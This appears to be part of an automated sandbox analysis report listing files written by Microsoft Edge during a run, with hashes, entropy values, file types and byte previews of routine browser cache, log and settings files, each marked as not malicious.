SHA-512:	07AAB3FF443265B5B2527B4FFF618C965772A89FEADB84BAC87ED9F8D9745FA04FB42976CF3485D6D011DD7BF4E4840B6E4743F3D4845E235CDEB755CD90E821
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	3.2171042677811372
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuu6oU8w:pHay
MD5:	8E2953C4AB2DDF451C4307E7FF73224F
SHA1:	EDB7721727F4BAEF606AE6D384133A3BABA008F2
SHA-256:	7934FB5AF94CA82262ABEDBC6ECFD733967BB8509E08BACCD9B187103C4051A6
SHA-512:	B48853A4076615254A1B5539044A2896CC2E9DC36515861034C393471BDA116954774C2DA8701330838EE280F848EB3102A33DE8218C62ED9E3E00487AD1EF60
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............N[..0................39_config..........6.....n ..1V.e................V.e................V.e................V.e................V.e................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.147899337665443
Encrypted:	false
SSDEEP:	6:HU4HXIq2PN723oH+TcwtfrK+IFUt8YU4HXbfZmw+YU4HXbNkwON723oH+TcwtfrF:yvVaYeb23FUt8y/++5OaYeb3J
MD5:	F05E0854B5846F519F09E83753E210B2
SHA1:	12FC5AB061AB9E413B999D4F475184684FB2CED0
SHA-256:	23C811FA38E878FFD7CE7062DF4FE7415405B33114FA8BB1E8047019EA8693C6
SHA-512:	71998C9ADADAE60EDD8B948A1EB2BFFAB3B85A745013BF7A97DB941390CBBECB146EE69793392405F913ED65E15509C4C37CD0DF5B3B572D044C81B5A8D17AF2
Malicious:	false
Preview:	2024/11/12-04:37:20.329 1da4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/12-04:37:20.330 1da4 Recovering log #3.2024/11/12-04:37:20.330 1da4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.147899337665443
Encrypted:	false
SSDEEP:	6:HU4HXIq2PN723oH+TcwtfrK+IFUt8YU4HXbfZmw+YU4HXbNkwON723oH+TcwtfrF:yvVaYeb23FUt8y/++5OaYeb3J
MD5:	F05E0854B5846F519F09E83753E210B2
SHA1:	12FC5AB061AB9E413B999D4F475184684FB2CED0
SHA-256:	23C811FA38E878FFD7CE7062DF4FE7415405B33114FA8BB1E8047019EA8693C6
SHA-512:	71998C9ADADAE60EDD8B948A1EB2BFFAB3B85A745013BF7A97DB941390CBBECB146EE69793392405F913ED65E15509C4C37CD0DF5B3B572D044C81B5A8D17AF2
Malicious:	false
Preview:	2024/11/12-04:37:20.329 1da4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/12-04:37:20.330 1da4 Recovering log #3.2024/11/12-04:37:20.330 1da4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.143128211593196
Encrypted:	false
SSDEEP:	6:HU4HXRvq2PN723oH+TcwtfrzAdIFUt8YU4HXM4XZmw+YU4HXM4FkwON723oH+Tc/:nvVaYeb9FUt8Z0/+Z05OaYeb2J
MD5:	4871701351F28B3C6E41633FA875470D
SHA1:	57C578FFC187235E91E7023BE01FE0F097D15838
SHA-256:	E0B3BDA12963F9C5FC67728ED8284F987B419998A8A8E5DC79E38A36BB752E5F
SHA-512:	36C13C016E720A7D3BD574BB879270CE9D415F2DFC73D7EE18F8E6C64E47E2272E89BB8C4F105E2C84A58BB55832CD023675D2D9D275413A71CA3951763E0EE4
Malicious:	false
Preview:	2024/11/12-04:37:20.326 1da4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/12-04:37:20.327 1da4 Recovering log #3.2024/11/12-04:37:20.327 1da4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.143128211593196
Encrypted:	false
SSDEEP:	6:HU4HXRvq2PN723oH+TcwtfrzAdIFUt8YU4HXM4XZmw+YU4HXM4FkwON723oH+Tc/:nvVaYeb9FUt8Z0/+Z05OaYeb2J
MD5:	4871701351F28B3C6E41633FA875470D
SHA1:	57C578FFC187235E91E7023BE01FE0F097D15838
SHA-256:	E0B3BDA12963F9C5FC67728ED8284F987B419998A8A8E5DC79E38A36BB752E5F
SHA-512:	36C13C016E720A7D3BD574BB879270CE9D415F2DFC73D7EE18F8E6C64E47E2272E89BB8C4F105E2C84A58BB55832CD023675D2D9D275413A71CA3951763E0EE4
Malicious:	false
Preview:	2024/11/12-04:37:20.326 1da4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/12-04:37:20.327 1da4 Recovering log #3.2024/11/12-04:37:20.327 1da4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\uu_host_config

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	398313
Entropy (8bit):	4.953803318132309
Encrypted:	false
SSDEEP:	1536:veqeoyyQJztYNr3CZsTKsvbbOPlMa0JJoG3JfeX5B7FxRG0MZ/d18bfpyvFaRnxY:q7JVZb0JOGiMldObbFG/eFd2X134a
MD5:	4529A95302CDD7EF2BB39E087A5E8DF6
SHA1:	6449A1AAEF5A5BBF798FF0FFF1BB51F5150FD578
SHA-256:	A41F5D82CF139CB1C29E91EE45A873B98879971E5E5552CC3B903EB8FE1CF658
SHA-512:	B314C5434D903E0472C7A1E02E958DE7DC68C7FE44CAC3486B98C48BB057E6263EC6EF00A1CCC186FC6CD3240EC2D62C73D091975B669ACE7D978AB65A670318
Malicious:	false
Preview:	{. "0123movies.com": "{\"Tier1\": [983, 6061], \"Tier2\": [4948, 1106, 9972]}",. "1020398.app.netsuite.com": "{\"Tier1\": [6061, 8405, 5938], \"Tier2\": [228, 236]}",. "1337x.to": "{\"Tier1\": [6061, 983], \"Tier2\": [6657, 475, 4068]}",. "2cvresearch.decipherinc.com": "{\"Tier1\": [8405], \"Tier2\": [379, 6101]}",. "3817341.extforms.netsuite.com": "{\"Tier1\": [6061, 8405, 5938], \"Tier2\": [7746]}",. "3cx.integrafin.co.uk": "{\"Tier1\": [8405, 6061], \"Tier2\": [2863, 5391]}",. "4540582.extforms.netsuite.com": "{\"Tier1\": [8405], \"Tier2\": [228, 236, 7746]}",. "7589.directpaper.name": "{\"Tier1\": [8405], \"Tier2\": []}",. "7a201srvitportl.cymru.nhs.uk": "{\"Tier1\": [], \"Tier2\": [9870]}",. "7a3cjsvmifitla1.cymru.nhs.uk": "{\"Tier1\": [6061], \"Tier2\": [1092]}",. "7a3cjsvmlivwebb.cymru.nhs.uk": "{\"Tier1\": [148, 6061], \"Tier2\": [9870, 9813]}",. "8ballpool.com": "{\"Tier1\": [8741, 3907, 983], \"Tier2\": [9151, 5779, 6916]}",. "9anime.gs"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018062632662178783
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEdllshu//:/M/xT02z9hu//
MD5:	72835A430DEA5A1A02335F57F024B79A
SHA1:	4B319D1B8BC0AA4E2B00F79494603DFCA7ED2457
SHA-256:	5F6A6D5D4F157F102BC3E2B9F97F3D72CD28945708381EBD77731003607EA7EC
SHA-512:	4E6DAC2BFD347DAA94450827EDE255F5D4D960D4773CCBED8B7960BDE8B9E83181B186FF61F56979549C1E97168B0149E9FCEEBB1DEBD9EDC9C2EF7CEEF7C00C
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018062632662178783
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEdlll//:/M/xT02z0//
MD5:	C42D1008E8A918852431E2DB0AC9FE41
SHA1:	25D01B3AB1947D0D3988E34E5F50E95265BF941B
SHA-256:	02F238471FBD2904ABCDD6631A70D571C24974D493727F2F6C3663E2F81CDDEB
SHA-512:	2068C85A829CB9A69E90F69B5E15C791DD05488DC0AE4E130243BBCF074495A545D7DBDB804017E53A34EF83A33CBCE4A4E485B12778363AB55F6C0361229EEC
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089821582781293
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWTdi1zNtPMQkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVjkzItSmd6qE7lFoC
MD5:	A36DAC01EF194286EB4C406015BED435
SHA1:	6C5CD675788A72FF98B6B897C434AAF9383B6422
SHA-256:	2DD5304587046D195C5D69F3495CDC797FD7EA2824EEEE1849D23B330C39B508
SHA-512:	506F40717A1ECECA8FC1B2095EFBD0F4A352FDDF7C73728EF4189EC88B2E682D66882E8B4BCFAD422E34886ACAE41FBDC356A480F156E231CD29E58B15FA5540
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF383e7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089821582781293
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWTdi1zNtPMQkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVjkzItSmd6qE7lFoC
MD5:	A36DAC01EF194286EB4C406015BED435
SHA1:	6C5CD675788A72FF98B6B897C434AAF9383B6422
SHA-256:	2DD5304587046D195C5D69F3495CDC797FD7EA2824EEEE1849D23B330C39B508
SHA-512:	506F40717A1ECECA8FC1B2095EFBD0F4A352FDDF7C73728EF4189EC88B2E682D66882E8B4BCFAD422E34886ACAE41FBDC356A480F156E231CD29E58B15FA5540
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF383f6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089821582781293
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWTdi1zNtPMQkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVjkzItSmd6qE7lFoC
MD5:	A36DAC01EF194286EB4C406015BED435
SHA1:	6C5CD675788A72FF98B6B897C434AAF9383B6422
SHA-256:	2DD5304587046D195C5D69F3495CDC797FD7EA2824EEEE1849D23B330C39B508
SHA-512:	506F40717A1ECECA8FC1B2095EFBD0F4A352FDDF7C73728EF4189EC88B2E682D66882E8B4BCFAD422E34886ACAE41FBDC356A480F156E231CD29E58B15FA5540
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38696.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089821582781293
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWTdi1zNtPMQkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVjkzItSmd6qE7lFoC
MD5:	A36DAC01EF194286EB4C406015BED435
SHA1:	6C5CD675788A72FF98B6B897C434AAF9383B6422
SHA-256:	2DD5304587046D195C5D69F3495CDC797FD7EA2824EEEE1849D23B330C39B508
SHA-512:	506F40717A1ECECA8FC1B2095EFBD0F4A352FDDF7C73728EF4189EC88B2E682D66882E8B4BCFAD422E34886ACAE41FBDC356A480F156E231CD29E58B15FA5540
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ad68.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089821582781293
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWTdi1zNtPMQkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVjkzItSmd6qE7lFoC
MD5:	A36DAC01EF194286EB4C406015BED435
SHA1:	6C5CD675788A72FF98B6B897C434AAF9383B6422
SHA-256:	2DD5304587046D195C5D69F3495CDC797FD7EA2824EEEE1849D23B330C39B508
SHA-512:	506F40717A1ECECA8FC1B2095EFBD0F4A352FDDF7C73728EF4189EC88B2E682D66882E8B4BCFAD422E34886ACAE41FBDC356A480F156E231CD29E58B15FA5540
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e456.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089821582781293
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWTdi1zNtPMQkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVjkzItSmd6qE7lFoC
MD5:	A36DAC01EF194286EB4C406015BED435
SHA1:	6C5CD675788A72FF98B6B897C434AAF9383B6422
SHA-256:	2DD5304587046D195C5D69F3495CDC797FD7EA2824EEEE1849D23B330C39B508
SHA-512:	506F40717A1ECECA8FC1B2095EFBD0F4A352FDDF7C73728EF4189EC88B2E682D66882E8B4BCFAD422E34886ACAE41FBDC356A480F156E231CD29E58B15FA5540
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4971c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089821582781293
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWTdi1zNtPMQkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVjkzItSmd6qE7lFoC
MD5:	A36DAC01EF194286EB4C406015BED435
SHA1:	6C5CD675788A72FF98B6B897C434AAF9383B6422
SHA-256:	2DD5304587046D195C5D69F3495CDC797FD7EA2824EEEE1849D23B330C39B508
